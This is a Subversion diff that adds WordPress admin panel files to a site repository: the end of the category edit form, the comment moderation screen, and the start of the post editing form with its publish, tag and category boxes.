+                <span class="description"><?php _e('Categories, unlike tags, can have a hierarchy. You might have a Jazz category, and under that have children categories for Bebop and Big Band. Totally optional.'); ?></span>
+	  		</td>
+		</tr>
+		<tr class="form-field">
+			<th scope="row" valign="top"><label for="category_description"><?php _e('Description') ?></label></th>
+			<td><textarea name="category_description" id="category_description" rows="5" cols="50" style="width: 97%;"><?php echo esc_html($category->description); ?></textarea><br />
+            <span class="description"><?php _e('The description is not prominent by default, however some themes may show it.'); ?></span></td>
+		</tr>
+		<?php do_action('edit_category_form_fields', $category); ?>
+	</table>
+<p class="submit"><input type="submit" class="button-primary" name="submit" value="<?php esc_attr_e('Update Category'); ?>" /></p>
+<?php do_action('edit_category_form', $category); ?>
+</form>
+</div>
Index: /trunk/www.guidonia.net/wp/wp-admin/edit-comments.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/edit-comments.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/edit-comments.php	(revision 44)
@@ -0,0 +1,383 @@
+<?php
+/**
+ * Edit Comments Administration Panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+
+wp_enqueue_script('admin-comments');
+enqueue_comment_hotkeys_js();
+
+$post_id = isset($_REQUEST['p']) ? (int) $_REQUEST['p'] : 0;
+
+if ( ( isset( $_REQUEST['delete_all_spam'] ) || isset( $_REQUEST['delete_all_spam2'] ) ) && !empty( $_REQUEST['pagegen_timestamp'] ) ) {
+	check_admin_referer('bulk-spam-delete', '_spam_nonce');
+
+	$delete_time = $wpdb->escape( $_REQUEST['pagegen_timestamp'] );
+	if ( current_user_can('moderate_comments')) {
+		$deleted_spam = $wpdb->query( "DELETE FROM $wpdb->comments WHERE comment_approved = 'spam' AND '$delete_time' > comment_date_gmt" );
+	} else {
+		$deleted_spam = 0;
+	}
+	$redirect_to = 'edit-comments.php?comment_status=spam&deleted=' . (int) $deleted_spam;
+	if ( $post_id )
+		$redirect_to = add_query_arg( 'p', absint( $post_id ), $redirect_to );
+	wp_redirect( $redirect_to );
+} elseif ( isset($_REQUEST['delete_comments']) && isset($_REQUEST['action']) && ( -1 != $_REQUEST['action'] || -1 != $_REQUEST['action2'] ) ) {
+	check_admin_referer('bulk-comments');
+	$doaction = ( -1 != $_REQUEST['action'] ) ? $_REQUEST['action'] : $_REQUEST['action2'];
+
+	$deleted = $approved = $unapproved = $spammed = 0;
+	foreach ( (array) $_REQUEST['delete_comments'] as $comment_id) : // Check the permissions on each
+		$comment_id = (int) $comment_id;
+		$_post_id = (int) $wpdb->get_var( $wpdb->prepare( "SELECT comment_post_ID FROM $wpdb->comments WHERE comment_ID = %d", $comment_id) );
+
+		if ( !current_user_can('edit_post', $_post_id) )
+			continue;
+
+		switch( $doaction ) {
+			case 'markspam' :
+				wp_set_comment_status($comment_id, 'spam');
+				$spammed++;
+				break;
+			case 'delete' :
+				wp_set_comment_status($comment_id, 'delete');
+				$deleted++;
+				break;
+			case 'approve' :
+				wp_set_comment_status($comment_id, 'approve');
+				$approved++;
+				break;
+			case 'unapprove' :
+				wp_set_comment_status($comment_id, 'hold');
+				$unapproved++;
+				break;
+		}
+	endforeach;
+
+	$redirect_to = 'edit-comments.php?deleted=' . $deleted . '&approved=' . $approved . '&spam=' . $spammed . '&unapproved=' . $unapproved;
+	if ( $post_id )
+		$redirect_to = add_query_arg( 'p', absint( $post_id ), $redirect_to );
+	if ( isset($_REQUEST['apage']) )
+		$redirect_to = add_query_arg( 'apage', absint($_REQUEST['apage']), $redirect_to );
+	if ( !empty($_REQUEST['mode']) )
+		$redirect_to = add_query_arg('mode', $_REQUEST['mode'], $redirect_to);
+	if ( !empty($_REQUEST['comment_status']) )
+		$redirect_to = add_query_arg('comment_status', $_REQUEST['comment_status'], $redirect_to);
+	if ( !empty($_REQUEST['s']) )
+		$redirect_to = add_query_arg('s', $_REQUEST['s'], $redirect_to);
+	wp_redirect( $redirect_to );
+} elseif ( isset($_GET['_wp_http_referer']) && ! empty($_GET['_wp_http_referer']) ) {
+	 wp_redirect( remove_query_arg( array('_wp_http_referer', '_wpnonce'), stripslashes($_SERVER['REQUEST_URI']) ) );
+	 exit;
+}
+
+if ( $post_id )
+	$title = sprintf(__('Edit Comments on &#8220;%s&#8221;'), wp_html_excerpt(_draft_or_post_title($post_id), 50));
+else
+	$title = __('Edit Comments');
+
+require_once('admin-header.php');
+
+$mode = ( ! isset($_GET['mode']) || empty($_GET['mode']) ) ? 'detail' : esc_attr($_GET['mode']);
+
+$comment_status = isset($_REQUEST['comment_status']) ? $_REQUEST['comment_status'] : 'all';
+if ( !in_array($comment_status, array('all', 'moderated', 'approved', 'spam')) )
+	$comment_status = 'all';
+
+$comment_type = !empty($_GET['comment_type']) ? esc_attr($_GET['comment_type']) : '';
+
+$search_dirty = ( isset($_GET['s']) ) ? $_GET['s'] : '';
+$search = esc_attr( $search_dirty ); ?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title );
+if ( isset($_GET['s']) && $_GET['s'] )
+	printf( '<span class="subtitle">' . sprintf( __( 'Search results for &#8220;%s&#8221;' ), wp_html_excerpt( esc_html( stripslashes( $_GET['s'] ) ), 50 ) ) . '</span>' ); ?>
+</h2>
+
+<?php
+if ( isset( $_GET['approved'] ) || isset( $_GET['deleted'] ) || isset( $_GET['spam'] ) ) {
+	$approved = isset( $_GET['approved'] ) ? (int) $_GET['approved'] : 0;
+	$deleted = isset( $_GET['deleted'] ) ? (int) $_GET['deleted'] : 0;
+	$spam = isset( $_GET['spam'] ) ? (int) $_GET['spam'] : 0;
+
+	if ( $approved > 0 || $deleted > 0 || $spam > 0 ) {
+		echo '<div id="moderated" class="updated fade"><p>';
+
+		if ( $approved > 0 ) {
+			printf( _n( '%s comment approved', '%s comments approved', $approved ), $approved );
+			echo '<br />';
+		}
+
+		if ( $deleted > 0 ) {
+			printf( _n( '%s comment deleted', '%s comments deleted', $deleted ), $deleted );
+			echo '<br />';
+		}
+
+		if ( $spam > 0 ) {
+			printf( _n( '%s comment marked as spam', '%s comments marked as spam', $spam ), $spam );
+			echo '<br />';
+		}
+
+		echo '</p></div>';
+	}
+}
+?>
+
+<form id="comments-form" action="" method="get">
+<ul class="subsubsub">
+<?php
+$status_links = array();
+$num_comments = ( $post_id ) ? wp_count_comments( $post_id ) : wp_count_comments();
+//, number_format_i18n($num_comments->moderated) ), "<span class='comment-count'>" . number_format_i18n($num_comments->moderated) . "</span>"),
+//, number_format_i18n($num_comments->spam) ), "<span class='spam-comment-count'>" . number_format_i18n($num_comments->spam) . "</span>")
+$stati = array(
+		'all' => _n_noop('All', 'All'), // singular not used
+		'moderated' => _n_noop('Pending (<span class="pending-count">%s</span>)', 'Pending (<span class="pending-count">%s</span>)'),
+		'approved' => _n_noop('Approved', 'Approved'), // singular not used
+		'spam' => _n_noop('Spam (<span class="spam-count">%s</span>)', 'Spam (<span class="spam-count">%s</span>)')
+	);
+$link = 'edit-comments.php';
+if ( !empty($comment_type) && 'all' != $comment_type )
+	$link = add_query_arg( 'comment_type', $comment_type, $link );
+foreach ( $stati as $status => $label ) {
+	$class = '';
+
+	if ( $status == $comment_status )
+		$class = ' class="current"';
+	if ( !isset( $num_comments->$status ) )
+		$num_comments->$status = 10;
+	$link = add_query_arg( 'comment_status', $status, $link );
+	if ( $post_id )
+		$link = add_query_arg( 'p', absint( $post_id ), $link );
+	/*
+	// I toyed with this, but decided against it. Leaving it in here in case anyone thinks it is a good idea. ~ Mark
+	if ( !empty( $_GET['s'] ) )
+		$link = add_query_arg( 's', esc_attr( stripslashes( $_GET['s'] ) ), $link );
+	*/
+	$status_links[] = "<li class='$status'><a href='$link'$class>" . sprintf(
+		_n( $label[0], $label[1], $num_comments->$status ),
+		number_format_i18n( $num_comments->$status )
+	) . '</a>';
+}
+
+$status_links = apply_filters( 'comment_status_links', $status_links );
+
+echo implode( " |</li>\n", $status_links) . '</li>';
+unset($status_links);
+?>
+</ul>
+
+<p class="search-box">
+	<label class="screen-reader-text" for="comment-search-input"><?php _e( 'Search Comments' ); ?>:</label>
+	<input type="text" id="comment-search-input" name="s" value="<?php _admin_search_query(); ?>" />
+	<input type="submit" value="<?php esc_attr_e( 'Search Comments' ); ?>" class="button" />
+</p>
+
+<?php
+$comments_per_page = get_user_option('edit_comments_per_page');
+if ( empty($comments_per_page) )
+	$comments_per_page = 20;
+$comments_per_page = apply_filters('comments_per_page', $comments_per_page, $comment_status);
+
+if ( isset( $_GET['apage'] ) )
+	$page = abs( (int) $_GET['apage'] );
+else
+	$page = 1;
+
+$start = $offset = ( $page - 1 ) * $comments_per_page;
+
+list($_comments, $total) = _wp_get_comment_list( $comment_status, $search_dirty, $start, $comments_per_page + 8, $post_id, $comment_type ); // Grab a few extra
+
+$_comment_post_ids = array();
+foreach ( $_comments as $_c ) {
+	$_comment_post_ids[] = $_c->comment_post_ID;
+}
+$_comment_pending_count_temp = (array) get_pending_comments_num($_comment_post_ids);
+foreach ( (array) $_comment_post_ids as $_cpid )
+	$_comment_pending_count[$_cpid] = isset( $_comment_pending_count_temp[$_cpid] ) ? $_comment_pending_count_temp[$_cpid] : 0;
+if ( empty($_comment_pending_count) )
+	$_comment_pending_count = array();
+
+$comments = array_slice($_comments, 0, $comments_per_page);
+$extra_comments = array_slice($_comments, $comments_per_page);
+
+$page_links = paginate_links( array(
+	'base' => add_query_arg( 'apage', '%#%' ),
+	'format' => '',
+	'prev_text' => __('&laquo;'),
+	'next_text' => __('&raquo;'),
+	'total' => ceil($total / $comments_per_page),
+	'current' => $page
+));
+
+?>
+
+<input type="hidden" name="mode" value="<?php echo esc_attr($mode); ?>" />
+<?php if ( $post_id ) : ?>
+<input type="hidden" name="p" value="<?php echo esc_attr( intval( $post_id ) ); ?>" />
+<?php endif; ?>
+<input type="hidden" name="comment_status" value="<?php echo esc_attr($comment_status); ?>" />
+<input type="hidden" name="pagegen_timestamp" value="<?php echo esc_attr(current_time('mysql', 1)); ?>" />
+
+<div class="tablenav">
+
+<?php if ( $page_links ) : ?>
+<div class="tablenav-pages"><?php $page_links_text = sprintf( '<span class="displaying-num">' . __( 'Displaying %s&#8211;%s of %s' ) . '</span>%s',
+	number_format_i18n( $start + 1 ),
+	number_format_i18n( min( $page * $comments_per_page, $total ) ),
+	'<span class="total-type-count">' . number_format_i18n( $total ) . '</span>',
+	$page_links
+); echo $page_links_text; ?></div>
+<input type="hidden" name="_total" value="<?php echo esc_attr($total); ?>" />
+<input type="hidden" name="_per_page" value="<?php echo esc_attr($comments_per_page); ?>" />
+<input type="hidden" name="_page" value="<?php echo esc_attr($page); ?>" />
+<?php endif; ?>
+
+<div class="alignleft actions">
+<select name="action">
+<option value="-1" selected="selected"><?php _e('Bulk Actions') ?></option>
+<?php if ( 'all' == $comment_status || 'approved' == $comment_status ): ?>
+<option value="unapprove"><?php _e('Unapprove'); ?></option>
+<?php endif; ?>
+<?php if ( 'all' == $comment_status || 'moderated' == $comment_status || 'spam' == $comment_status ): ?>
+<option value="approve"><?php _e('Approve'); ?></option>
+<?php endif; ?>
+<?php if ( 'spam' != $comment_status ): ?>
+<option value="markspam"><?php _e('Mark as Spam'); ?></option>
+<?php endif; ?>
+<option value="delete"><?php _e('Delete'); ?></option>
+</select>
+<input type="submit" name="doaction" id="doaction" value="<?php esc_attr_e('Apply'); ?>" class="button-secondary apply" />
+<?php wp_nonce_field('bulk-comments'); ?>
+
+<select name="comment_type">
+	<option value="all"><?php _e('Show all comment types'); ?></option>
+<?php
+	$comment_types = apply_filters( 'admin_comment_types_dropdown', array(
+		'comment' => __('Comments'),
+		'pings' => __('Pings'),
+	) );
+
+	foreach ( $comment_types as $type => $label ) {
+		echo "	<option value='" . esc_attr($type) . "'";
+		selected( $comment_type, $type );
+		echo ">$label</option>\n";
+	}
+?>
+</select>
+<input type="submit" id="post-query-submit" value="<?php esc_attr_e('Filter'); ?>" class="button-secondary" />
+
+<?php if ( isset($_GET['apage']) ) { ?>
+	<input type="hidden" name="apage" value="<?php echo esc_attr( absint( $_GET['apage'] ) ); ?>" />
+<?php }
+
+if ( 'spam' == $comment_status ) {
+	wp_nonce_field('bulk-spam-delete', '_spam_nonce');
+        if ( current_user_can ('moderate_comments')) { ?>
+		<input type="submit" name="delete_all_spam" value="<?php esc_attr_e('Delete All Spam'); ?>" class="button-secondary apply" />
+<?php	}
+} ?>
+<?php do_action('manage_comments_nav', $comment_status); ?>
+</div>
+
+<br class="clear" />
+
+</div>
+
+<div class="clear"></div>
+
+<?php if ( $comments ) { ?>
+<table class="widefat comments fixed" cellspacing="0">
+<thead>
+	<tr>
+<?php print_column_headers('edit-comments'); ?>
+	</tr>
+</thead>
+
+<tfoot>
+	<tr>
+<?php print_column_headers('edit-comments', false); ?>
+	</tr>
+</tfoot>
+
+<tbody id="the-comment-list" class="list:comment">
+<?php
+	foreach ($comments as $comment)
+		_wp_comment_row( $comment->comment_ID, $mode, $comment_status );
+?>
+</tbody>
+<tbody id="the-extra-comment-list" class="list:comment" style="display: none;">
+<?php
+	foreach ($extra_comments as $comment)
+		_wp_comment_row( $comment->comment_ID, $mode, $comment_status );
+?>
+</tbody>
+</table>
+
+<div class="tablenav">
+<?php
+if ( $page_links )
+	echo "<div class='tablenav-pages'>$page_links_text</div>";
+?>
+
+<div class="alignleft actions">
+<select name="action2">
+<option value="-1" selected="selected"><?php _e('Bulk Actions') ?></option>
+<?php if ( 'all' == $comment_status || 'approved' == $comment_status ): ?>
+<option value="unapprove"><?php _e('Unapprove'); ?></option>
+<?php endif; ?>
+<?php if ( 'all' == $comment_status || 'moderated' == $comment_status || 'spam' == $comment_status ): ?>
+<option value="approve"><?php _e('Approve'); ?></option>
+<?php endif; ?>
+<?php if ( 'spam' != $comment_status ): ?>
+<option value="markspam"><?php _e('Mark as Spam'); ?></option>
+<?php endif; ?>
+<option value="delete"><?php _e('Delete'); ?></option>
+</select>
+<input type="submit" name="doaction2" id="doaction2" value="<?php esc_attr_e('Apply'); ?>" class="button-secondary apply" />
+
+<?php if ( 'spam' == $comment_status ) { ?>
+<input type="submit" name="delete_all_spam2" value="<?php esc_attr_e('Delete All Spam'); ?>" class="button-secondary apply" />
+<?php } ?>
+<?php do_action('manage_comments_nav', $comment_status); ?>
+</div>
+
+<br class="clear" />
+</div>
+
+</form>
+
+<form id="get-extra-comments" method="post" action="" class="add:the-extra-comment-list:" style="display: none;">
+	<input type="hidden" name="s" value="<?php echo esc_attr($search); ?>" />
+	<input type="hidden" name="mode" value="<?php echo esc_attr($mode); ?>" />
+	<input type="hidden" name="comment_status" value="<?php echo esc_attr($comment_status); ?>" />
+	<input type="hidden" name="page" value="<?php echo esc_attr($page); ?>" />
+	<input type="hidden" name="per_page" value="<?php echo esc_attr($comments_per_page); ?>" />
+	<input type="hidden" name="p" value="<?php echo esc_attr( $post_id ); ?>" />
+	<input type="hidden" name="comment_type" value="<?php echo esc_attr( $comment_type ); ?>" />
+	<?php wp_nonce_field( 'add-comment', '_ajax_nonce', false ); ?>
+</form>
+
+<div id="ajax-response"></div>
+
+<?php } elseif ( 'moderated' == $comment_status ) { ?>
+<p><?php _e('No comments awaiting moderation&hellip; yet.') ?></p>
+</form>
+
+<?php } else { ?>
+<p><?php _e('No results found.') ?></p>
+</form>
+
+<?php } ?>
+</div>
+
+<?php
+wp_comment_reply('-1', true, 'detail');
+include('admin-footer.php'); ?>
Index: /trunk/www.guidonia.net/wp/wp-admin/edit-form-advanced.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/edit-form-advanced.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/edit-form-advanced.php	(revision 44)
@@ -0,0 +1,665 @@
+<?php
+/**
+ * Post advanced form for inclusion in the administration panels.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Post ID global
+ * @name $post_ID
+ * @var int
+ */
+$post_ID = isset($post_ID) ? (int) $post_ID : 0;
+
+$action = isset($action) ? $action : '';
+if ( isset($_GET['message']) )
+	$_GET['message'] = absint( $_GET['message'] );
+$messages[1] = sprintf(__('Post updated. <a href="%s">View post</a>'), get_permalink($post_ID));
+$messages[2] = __('Custom field updated.');
+$messages[3] = __('Custom field deleted.');
+$messages[4] = __('Post updated.');
+$messages[6] = sprintf(__('Post published. <a href="%s">View post</a>'), get_permalink($post_ID));
+$messages[7] = __('Post saved.');
+$messages[8] = sprintf(__('Post submitted. <a href="%s">Preview post</a>'), add_query_arg( 'preview', 'true', get_permalink($post_ID) ) );
+
+if ( isset($_GET['revision']) )
+	$messages[5] = sprintf( __('Post restored to revision from %s'), wp_post_revision_title( (int) $_GET['revision'], false ) );
+
+$notice = false;
+$notices[1] = __( 'There is an autosave of this post that is more recent than the version below.  <a href="%s">View the autosave</a>.' );
+
+if ( 0 == $post_ID ) {
+	$form_action = 'post';
+	$temp_ID = -1 * time(); // don't change this formula without looking at wp_write_post()
+	$form_extra = "<input type='hidden' id='post_ID' name='temp_ID' value='" . esc_attr($temp_ID) . "' />";
+	$autosave = false;
+} else {
+	$form_action = 'editpost';
+	$form_extra = "<input type='hidden' id='post_ID' name='post_ID' value='" . esc_attr($post_ID) . "' />";
+	$autosave = wp_get_post_autosave( $post_ID );
+
+	// Detect if there exists an autosave newer than the post and if that autosave is different than the post
+	if ( $autosave && mysql2date( 'U', $autosave->post_modified_gmt, false ) > mysql2date( 'U', $post->post_modified_gmt, false ) ) {
+		foreach ( _wp_post_revision_fields() as $autosave_field => $_autosave_field ) {
+			if ( normalize_whitespace( $autosave->$autosave_field ) != normalize_whitespace( $post->$autosave_field ) ) {
+				$notice = sprintf( $notices[1], get_edit_post_link( $autosave->ID ) );
+				break;
+			}
+		}
+		unset($autosave_field, $_autosave_field);
+	}
+}
+
+// All meta boxes should be defined and added before the first do_meta_boxes() call (or potentially during the do_meta_boxes action).
+
+/**
+ * Display post submit form fields.
+ *
+ * @since 2.7.0
+ *
+ * @param object $post
+ */
+function post_submit_meta_box($post) {
+	global $action;
+
+	$can_publish = current_user_can('publish_posts');
+?>
+<div class="submitbox" id="submitpost">
+
+<div id="minor-publishing">
+
+<?php // Hidden submit button early on so that the browser chooses the right button when form is submitted with Return key ?>
+<div style="display:none;">
+<input type="submit" name="save" value="<?php esc_attr_e('Save'); ?>" />
+</div>
+
+<div id="minor-publishing-actions">
+<div id="save-action">
+<?php if ( 'publish' != $post->post_status && 'future' != $post->post_status && 'pending' != $post->post_status )  { ?>
+<input <?php if ( 'private' == $post->post_status ) { ?>style="display:none"<?php } ?> type="submit" name="save" id="save-post" value="<?php esc_attr_e('Save Draft'); ?>" tabindex="4" class="button button-highlighted" />
+<?php } elseif ( 'pending' == $post->post_status && $can_publish ) { ?>
+<input type="submit" name="save" id="save-post" value="<?php esc_attr_e('Save as Pending'); ?>" tabindex="4" class="button button-highlighted" />
+<?php } ?>
+</div>
+
+<div id="preview-action">
+<?php
+if ( 'publish' == $post->post_status ) {
+	$preview_link = esc_url(get_permalink($post->ID));
+	$preview_button = __('Preview Changes');
+} else {
+	$preview_link = esc_url(apply_filters('preview_post_link', add_query_arg('preview', 'true', get_permalink($post->ID))));
+	$preview_button = __('Preview');
+}
+?>
+<a class="preview button" href="<?php echo $preview_link; ?>" target="wp-preview" id="post-preview" tabindex="4"><?php echo $preview_button; ?></a>
+<input type="hidden" name="wp-preview" id="wp-preview" value="" />
+</div>
+
+<div class="clear"></div>
+</div><?php // /minor-publishing-actions ?>
+
+<div id="misc-publishing-actions">
+
+<div class="misc-pub-section<?php if ( !$can_publish ) { echo '  misc-pub-section-last'; } ?>"><label for="post_status"><?php _e('Status:') ?></label>
+<span id="post-status-display">
+<?php
+switch ( $post->post_status ) {
+	case 'private':
+		_e('Privately Published');
+		break;
+	case 'publish':
+		_e('Published');
+		break;
+	case 'future':
+		_e('Scheduled');
+		break;
+	case 'pending':
+		_e('Pending Review');
+		break;
+	case 'draft':
+		_e('Draft');
+		break;
+}
+?>
+</span>
+<?php if ( 'publish' == $post->post_status || 'private' == $post->post_status || $can_publish ) { ?>
+<a href="#post_status" <?php if ( 'private' == $post->post_status ) { ?>style="display:none;" <?php } ?>class="edit-post-status hide-if-no-js" tabindex='4'><?php _e('Edit') ?></a>
+
+<div id="post-status-select" class="hide-if-js">
+<input type="hidden" name="hidden_post_status" id="hidden_post_status" value="<?php echo esc_attr($post->post_status); ?>" />
+<select name='post_status' id='post_status' tabindex='4'>
+<?php if ( 'publish' == $post->post_status ) : ?>
+<option<?php selected( $post->post_status, 'publish' ); ?> value='publish'><?php _e('Published') ?></option>
+<?php elseif ( 'private' == $post->post_status ) : ?>
+<option<?php selected( $post->post_status, 'private' ); ?> value='publish'><?php _e('Privately Published') ?></option>
+<?php elseif ( 'future' == $post->post_status ) : ?>
+<option<?php selected( $post->post_status, 'future' ); ?> value='future'><?php _e('Scheduled') ?></option>
+<?php endif; ?>
+<option<?php selected( $post->post_status, 'pending' ); ?> value='pending'><?php _e('Pending Review') ?></option>
+<option<?php selected( $post->post_status, 'draft' ); ?> value='draft'><?php _e('Draft') ?></option>
+</select>
+ <a href="#post_status" class="save-post-status hide-if-no-js button"><?php _e('OK'); ?></a>
+ <a href="#post_status" class="cancel-post-status hide-if-no-js"><?php _e('Cancel'); ?></a>
+</div>
+
+<?php } ?>
+</div><?php // /misc-pub-section ?>
+
+<div class="misc-pub-section " id="visibility">
+<?php _e('Visibility:'); ?> <span id="post-visibility-display"><?php
+
+if ( 'private' == $post->post_status ) {
+	$post->post_password = '';
+	$visibility = 'private';
+	$visibility_trans = __('Private');
+} elseif ( !empty( $post->post_password ) ) {
+	$visibility = 'password';
+	$visibility_trans = __('Password protected');
+} elseif ( is_sticky( $post->ID ) ) {
+	$visibility = 'public';
+	$visibility_trans = __('Public, Sticky');
+} else {
+	$visibility = 'public';
+	$visibility_trans = __('Public');
+}
+
+?><?php echo esc_html( $visibility_trans ); ?></span> <?php if ( $can_publish ) { ?> <a href="#visibility" class="edit-visibility hide-if-no-js"><?php _e('Edit'); ?></a>
+
+<div id="post-visibility-select" class="hide-if-js">
+<input type="hidden" name="hidden_post_password" id="hidden-post-password" value="<?php echo esc_attr($post->post_password); ?>" />
+<input type="checkbox" style="display:none" name="hidden_post_sticky" id="hidden-post-sticky" value="sticky" <?php checked(is_sticky($post->ID)); ?> />
+<input type="hidden" name="hidden_post_visibility" id="hidden-post-visibility" value="<?php echo esc_attr( $visibility ); ?>" />
+
+
+<input type="radio" name="visibility" id="visibility-radio-public" value="public" <?php checked( $visibility, 'public' ); ?> /> <label for="visibility-radio-public" class="selectit"><?php _e('Public'); ?></label><br />
+<span id="sticky-span"><input id="sticky" name="sticky" type="checkbox" value="sticky" <?php checked(is_sticky($post->ID)); ?> tabindex="4" /> <label for="sticky" class="selectit"><?php _e('Stick this post to the front page') ?></label><br /></span>
+<input type="radio" name="visibility" id="visibility-radio-password" value="password" <?php checked( $visibility, 'password' ); ?> /> <label for="visibility-radio-password" class="selectit"><?php _e('Password protected'); ?></label><br />
+<span id="password-span"><label for="post_password"><?php _e('Password:'); ?></label> <input type="text" name="post_password" id="post_password" value="<?php echo esc_attr($post->post_password); ?>" /><br /></span>
+<input type="radio" name="visibility" id="visibility-radio-private" value="private" <?php checked( $visibility, 'private' ); ?> /> <label for="visibility-radio-private" class="selectit"><?php _e('Private'); ?></label><br />
+
+<p>
+ <a href="#visibility" class="save-post-visibility hide-if-no-js button"><?php _e('OK'); ?></a>
+ <a href="#visibility" class="cancel-post-visibility hide-if-no-js"><?php _e('Cancel'); ?></a>
+</p>
+</div>
+<?php } ?>
+
+</div><?php // /misc-pub-section ?>
+
+
+<?php
+// translators: Publish box date formt, see http://php.net/date
+$datef = __( 'M j, Y @ G:i' );
+if ( 0 != $post->ID ) {
+	if ( 'future' == $post->post_status ) { // scheduled for publishing at a future date
+		$stamp = __('Scheduled for: <b>%1$s</b>');
+	} else if ( 'publish' == $post->post_status || 'private' == $post->post_status ) { // already published
+		$stamp = __('Published on: <b>%1$s</b>');
+	} else if ( '0000-00-00 00:00:00' == $post->post_date_gmt ) { // draft, 1 or more saves, no date specified
+		$stamp = __('Publish <b>immediately</b>');
+	} else if ( time() < strtotime( $post->post_date_gmt . ' +0000' ) ) { // draft, 1 or more saves, future date specified
+		$stamp = __('Schedule for: <b>%1$s</b>');
+	} else { // draft, 1 or more saves, date specified
+		$stamp = __('Publish on: <b>%1$s</b>');
+	}
+	$date = date_i18n( $datef, strtotime( $post->post_date ) );
+} else { // draft (no saves, and thus no date specified)
+	$stamp = __('Publish <b>immediately</b>');
+	$date = date_i18n( $datef, strtotime( current_time('mysql') ) );
+}
+
+if ( $can_publish ) : // Contributors don't get to choose the date of publish ?>
+<div class="misc-pub-section curtime misc-pub-section-last">
+	<span id="timestamp">
+	<?php printf($stamp, $date); ?></span>
+	<a href="#edit_timestamp" class="edit-timestamp hide-if-no-js" tabindex='4'><?php _e('Edit') ?></a>
+	<div id="timestampdiv" class="hide-if-js"><?php touch_time(($action == 'edit'),1,4); ?></div>
+</div><?php // /misc-pub-section ?>
+<?php endif; ?>
+
+</div>
+<div class="clear"></div>
+</div>
+
+<div id="major-publishing-actions">
+<?php do_action('post_submitbox_start'); ?>
+<div id="delete-action">
+<?php
+if ( ( 'edit' == $action ) && current_user_can('delete_post', $post->ID) ) { ?>
+<a class="submitdelete deletion" href="<?php echo wp_nonce_url("post.php?action=delete&amp;post=$post->ID", 'delete-post_' . $post->ID); ?>" onclick="if ( confirm('<?php echo esc_js(sprintf( ('draft' == $post->post_status) ? __("You are about to delete this draft '%s'\n  'Cancel' to stop, 'OK' to delete.") : __("You are about to delete this post '%s'\n  'Cancel' to stop, 'OK' to delete."), $post->post_title )); ?>') ) {return true;}return false;"><?php _e('Delete'); ?></a>
+<?php } ?>
+</div>
+
+<div id="publishing-action">
+<?php
+if ( !in_array( $post->post_status, array('publish', 'future', 'private') ) || 0 == $post->ID ) {
+	if ( current_user_can('publish_posts') ) :
+		if ( !empty($post->post_date_gmt) && time() < strtotime( $post->post_date_gmt . ' +0000' ) ) : ?>
+		<input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e('Schedule') ?>" />
+		<input name="publish" type="submit" class="button-primary" id="publish" tabindex="5" accesskey="p" value="<?php esc_attr_e('Schedule') ?>" />
+<?php	else : ?>
+		<input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e('Publish') ?>" />
+		<input name="publish" type="submit" class="button-primary" id="publish" tabindex="5" accesskey="p" value="<?php esc_attr_e('Publish') ?>" />
+<?php	endif;
+	else : ?>
+		<input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e('Submit for Review') ?>" />
+		<input name="publish" type="submit" class="button-primary" id="publish" tabindex="5" accesskey="p" value="<?php esc_attr_e('Submit for Review') ?>" />
+<?php
+	endif;
+} else { ?>
+		<input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e('Update Post') ?>" />
+		<input name="save" type="submit" class="button-primary" id="publish" tabindex="5" accesskey="p" value="<?php esc_attr_e('Update Post') ?>" />
+<?php
+} ?>
+</div>
+<div class="clear"></div>
+</div>
+</div>
+
+<?php
+}
+add_meta_box('submitdiv', __('Publish'), 'post_submit_meta_box', 'post', 'side', 'core');
+
+/**
+ * Display post tags form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $post
+ */
+function post_tags_meta_box($post, $box) {
+	$tax_name = esc_attr(substr($box['id'], 8));
+	$taxonomy = get_taxonomy($tax_name);
+	$helps = isset($taxonomy->helps) ? esc_attr($taxonomy->helps) : __('Separate tags with commas.');
+?>
+<div class="tagsdiv" id="<?php echo $tax_name; ?>">
+	<div class="jaxtag">
+	<div class="nojs-tags hide-if-js">
+	<p><?php _e('Add or remove tags'); ?></p>
+	<textarea name="<?php echo "tax_input[$tax_name]"; ?>" class="the-tags" id="tax-input[<?php echo $tax_name; ?>]"><?php echo esc_attr(get_terms_to_edit( $post->ID, $tax_name )); ?></textarea></div>
+
+	<span class="ajaxtag hide-if-no-js">
+		<label class="screen-reader-text" for="new-tag-<?php echo $tax_name; ?>"><?php echo $box['title']; ?></label>
+		<input type="text" id="new-tag-<?php echo $tax_name; ?>" name="newtag[<?php echo $tax_name; ?>]" class="newtag form-input-tip" size="16" autocomplete="off" value="<?php esc_attr_e('Add new tag'); ?>" />
+		<input type="button" class="button tagadd" value="<?php esc_attr_e('Add'); ?>" tabindex="3" />
+	</span></div>
+	<p class="howto"><?php echo $helps; ?></p>
+	<div class="tagchecklist"></div>
+</div>
+<p class="tagcloud-link hide-if-no-js"><a href="#titlediv" class="tagcloud-link" id="link-<?php echo $tax_name; ?>"><?php printf( __('Choose from the most used tags in %s'), $box['title'] ); ?></a></p>
+<?php
+}
+
+// all tag-style post taxonomies
+foreach ( get_object_taxonomies('post') as $tax_name ) {
+	if ( !is_taxonomy_hierarchical($tax_name) ) {
+		$taxonomy = get_taxonomy($tax_name);
+		$label = isset($taxonomy->label) ? esc_attr($taxonomy->label) : $tax_name;
+
+		add_meta_box('tagsdiv-' . $tax_name, $label, 'post_tags_meta_box', 'post', 'side', 'core');
+	}
+}
+
+/**
+ * Display post categories form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $post
+ */
+function post_categories_meta_box($post) {
+?>
+<ul id="category-tabs">
+	<li class="tabs"><a href="#categories-all" tabindex="3"><?php _e( 'All Categories' ); ?></a></li>
+	<li class="hide-if-no-js"><a href="#categories-pop" tabindex="3"><?php _e( 'Most Used' ); ?></a></li>
+</ul>
+
+<div id="categories-pop" class="tabs-panel" style="display: none;">
+	<ul id="categorychecklist-pop" class="categorychecklist form-no-clear" >
